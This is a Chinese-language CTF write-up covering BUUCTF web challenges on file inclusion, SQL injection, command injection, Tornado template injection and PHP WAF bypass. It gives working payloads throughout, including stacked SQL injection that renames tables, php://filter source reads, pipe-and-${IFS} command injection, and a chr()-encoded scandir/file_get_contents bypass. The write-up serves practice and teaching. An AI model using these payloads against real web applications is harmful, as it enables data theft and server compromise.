BUUCTF-page_1 总结(上:1-12)
---钦原.2021-5月末
总目录整理:
文件包含类:
1: HCTF-warmup-2018:php(审计文件包含)
4.[ACTF2020 新生赛]Include
5.[极客大挑战 2019]Secret File
SQL注入类:
2.Web-强网杯sql随便注:
3.[SUCTF 2019]EasySQL
6.[极客大挑战 2019]LoveSQL
15.[极客大挑战 2019]BabySQL
21.[极客大挑战 2019]HardSQL
25.[GYCTF2020]Blacklist
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
26.[GXYCTF2019]BabySQli
命令执行类:
7.[ACTF2020 新生赛]Exec
8.[GXYCTF2019]Ping Ping Ping
框架特性利用类:
9.[护网杯 2018]easy_tornado
php解析特性绕过利用类:
10.[RoarCTF 2019]Easy Calc
HTTP请求头等基础题类:
11.[极客大挑战 2019]Http
17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)
16.[ACTF2020 新生赛]BackupFile(php弱类型比较)
18.[BJDCTF2020]Easy MD5
24.[MRCTF2020]Ez_bypass(弱类型)
审计-反序列化类:
12.[极客大挑战 2019]PHP---> php-serialize()反序列化
20.[ZJCTF 2019]NiZhuanSiWei
31.[网鼎杯 2020 青龙组]AreUSerialz
27.[网鼎杯 2018]Fakebook (sql+反序列化+ssrf)
28.[网鼎杯 2020 青龙组]AreUSerialz
文件上传类:
13.[极客大挑战 2019]Upload
14.[ACTF2020 新生赛]Upload
19.[SUCTF 2019]CheckIn
23.[MRCTF2020]你传你马呢?
过于基础,如签到级别或万能密码true就出flag的暂未整理
写在前面:小弟我前部分题尽力都总结了考点+思路+涉及知识点总结等,后面实在搞不完了呜呜呜
1: HCTF-warmup-2018:php(审计文件包含)
l 考点:文件包含(phpmyadmin4.8.1)+双重编码绕过(?-->%3f-->%253f)
l 思路:大体同phpmyadmin4.8.1相应漏洞,因为开发者考虑过于周全,设置了两次?截断(防止url自动编码一次+防止包含的正常文件有用户传参)而引发的文件包含漏洞,满足条件触发true即可返回flag。
l 涉及知识点:后续会发篇文章专门讲此题原型漏洞,略
l 具体做法:
首先打开靶场,f12审计看到source.php,访问后得:
不难看出此题考点是文件包含:相应代码解析在图片中注释(不详细赘述,后面会发文单独说方法)
接着看到源码有hint.php
故构造:
Payload:
得到flag:
flag{a06ca838-dd77-48bc-a79b-dfd0890645bc}
2.Web-强网杯sql随便注:
l 考点:堆叠注入、sql语句掌握、反引号使用
l 思路:多种方法:1:堆叠注入+修改flag所在表名。2:handler代替select 3:利用PREPARE STATEMENT
l 涉及知识点:如上述
l 具体做法:
法一常规通法:
首先 堆叠注入:
1';or 1=1#有回显了
1';show databases;# 出库名
1';show tables;#
1'; show columns from `words`;
1'; show columns from `1919810931114514`;#
1'; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
补充一下,读表的语句
是1';show columns from `1919810931114514`; #
对以数字为表名的表进行操作时,需要加上`符号
法二:handler
1';handler `1919810931114514` open;handler `1919810931114514` read first#
3.[SUCTF 2019]EasySQL
l 考点:猜测查询语句,堆叠注入,sql语句
l 思路:较坑,见解析
l 涉及知识点:
1、堆叠注入
2、set sql_mode=PIPES_AS_CONCAT; 将||视为字符串的连接操作符而非或运算符
3、没有过滤*的时候可以直接注入*,输入*,1;常数增加临时列。
l 具体做法:
https://blog.csdn.net/qq_43619533/article/details/103434935 解析
打开页面是一个搜索框,注入题,跑字典发现过滤的字符串。
由官方wp的解释来看,这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。
解法1
输入的内容为*,1
内置的sql语句为 sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
4.[ACTF2020 新生赛]Include
l 考点:文件包含include+ 伪协议php://filter
l 思路:通过php://filter/read=convert.base64-encode/resource= 来查看base64的源码
l 涉及知识点:如上述
l 具体做法:
进入靶场环境:
然后就啥也没了,但是url中有 ?file=flag.php 猜测文件包含漏洞,尝试
文件包含直接读取的是文件(运行php),而不是读取文件源码,所以要想办法读取源码
php://filter/read=convert.base64-encode/resource=要读取的文件名.php
这个方法可以读取代码
然后构造playload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
然后对得到的字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjNlMmIyYzAtNWY5Mi00NjJlLWFkYmYtZTA1ODhhMzQ0MjhjfQo=
进行base64解密得到flag:
<?php
echo "Can you find out the flag?";
//flag{63e2b2c0-5f92-462e-adbf-e0588a34428c}
5.[极客大挑战 2019]Secret File
l 考点:f12基础审计,php://filter伪协议,文件包含原理
l 思路:通过审计不断找到关键题眼页,审计源码发现过滤,用伪协议读取源码,得到flag
l 涉及知识点: php://filter/read=convert.base64-encode/resource=flag.php
l 具体做法:
首先进入靶场,f12->
于是url访问,f12->
当从/Archive_room.php跳转到action.php期间,抓包
访问secr3t.php
分析这里可能是考察文件包含,过滤了../等,考虑上一关手法:通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看flag.php源码
放到burp进行base64解码看源码发现flag:
6.[极客大挑战 2019]LoveSQL
抓包,sqlmap -r ,最后dump
7.[ACTF2020 新生赛]Exec
l 考点:linux管道符,命令执行基础原理
l 思路:基础命令执行,管道符结合命令查看系统文件即可
l 涉及知识点: 全面教程:https://blog.csdn.net/qq_41523170/article/details/107718894
l 具体做法:
最基础的命令执行漏洞
127.0.0.1|ls ../
一层一层向上搜或者127.0.0.1 & ls ../../../../多退点 可见有flag
在最前面有flag
payload:
127.0.0.1|cat ../../../flag或者127.0.0.1 & cat ../../../flag
出flag
8.[GXYCTF2019]Ping Ping Ping
l 考点:linux管道符,命令执行空格过滤绕过
l 思路:命令执行空格绕过+变量调序法(自己编的名,咳咳)绕过正则贪婪检测
l 涉及知识点: 全面教程:https://blog.csdn.net/qq_41523170/article/details/107718894
l 具体做法:
命令执行空格过滤绕过方法:
${IFS}
payload1:
|
root@kali:~# cat flag |
|
this is your flag |
|
root@ kali:~# cat${IFS} flag |
|
this is your flag |
payload2
|
root@kali:~# cat${IFS}$1flag |
|
this is your flag |
payload3:
|
root@kali:~# cat$IFS$1flag |
|
this is your flag |
提示已经很明显了,linux管道命令执行。
?ip=127.0.0.1||ls
发现这个没有过滤。直接出现了flag.php 和index.php。
尝试?ip=127.0.0.1||cat flag.php
fuck you space,过滤空格
?ip=127.0.0.1||cat$IFSflag.php
fuck you flag,把flag给过滤了。
那我们先把index.php看一看
?ip=127.0.0.1||cat$IFS$1index.php
这里有个要注意的 preg_match("/.*f.*l.*a.*g.*/", $ip)
. 匹配除空格外任意字符*贪婪匹配前面的字符这里的话,就比如**f***l**a**g***,形如这种的都会被过滤,还有就是fl**这种
过滤了一些字符,空格,bash,flag的贪婪匹配。
flag只要顺序直接出现就过滤:
故payload才先设置b=ag.php,再a=fl;
Payload:
/?ip=127.0.0.1||a=ag.php;b=fl;cat$IFS$1$b$a //$IFS$后的1必须加上,不然不出flag
用的是法3绕过空格
9.[护网杯 2018]easy_tornado
l 考点:tornado模板+render函数等
l 思路:根据三个txt的提示,利用?msg={{handler.settings}}获取的cookie-secret构造filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
l 涉及知识点: tornado+handler.settings: 文档: https://www.cnblogs.com/bwangel23/p/4858870.html
l 具体做法:
打开页面发现三个链接依次打开 发现各自的文本
Flag.txt: flag in /fllllllllllllag
Welcome.txt: render
Hints.txt: md5(cookie_secret+md5(filename))
得到flag则试图构造: filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}
根据获得的cookie_secret构造md5(cookie_secret+md5(filename))
注意filename是 带斜线的 /fllllllllllllag
建议去Cmd5在线加密(本地php--md5结果我这里出了错,不能flag)
构造后放到filehash即可输出flag。
(cookie_secret是会变的,payload的filehash要自己重新用更新后的cookie_secret算。)
10.[RoarCTF 2019]Easy Calc
l 考点:PHP字符串解析漏洞+ascii绕过(如chr(47)代替被过滤的/符号)+ 几个函数,见后文
l 思路:利用php对字符串解析特性+结合ascii码代替黑名单字符绕过waf检测,最后读取/f1agg文件内容
l 涉及知识点:同考点,具体知识点见后文
l 具体做法:
F12得如下:
看到有calc.php(比较习惯的姿势是,f12直接搜php后缀,省着自己找了,有时候很方便)
所以访问:
http://node3.buuoj.cn:25528/calc.php
意思是:1. 必须GET收取到num变量
2. 经过安全过滤后,如果字符黑名单出现,输出what are you want to do
3. 如果正常,则输出所谓的num的值。
然后,尝试输入num的值分别为1,2确实如此。尝试输入非数字:a,b,c等
结合f12的js来看,应该是被waf所拦截了
所以我们如果想进一步获取服务器中的flag的话,需要绕过waf检测
这里分析一个知识点:
1.PHP的字符串解析特性bypass WAF
以下这是别人对PHP字符串解析漏洞的理解:
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
我的理解:
假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
2.scandir() : 列出 参数目录 中的文件和目录
从而知道flag在哪。
接着发现:
Waf(calc.php)过滤了:空格、常见转义字符、\、双引号 、反引号、 [ 、 ] 、$和/
那么我们尝试构造payload:
首先我们要先扫根目录下的所有文件,也就是scandir("/"),但是“/”被过滤了,所以我们用chr(47)绕过,发现flagg文件:
/calc.php? num=1;var_dump(scandir(chr(47)));
所以同样方式+读取这个文件(file_get_contents:文件读入字符串输出)
查看/f1agg
Payload: /calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));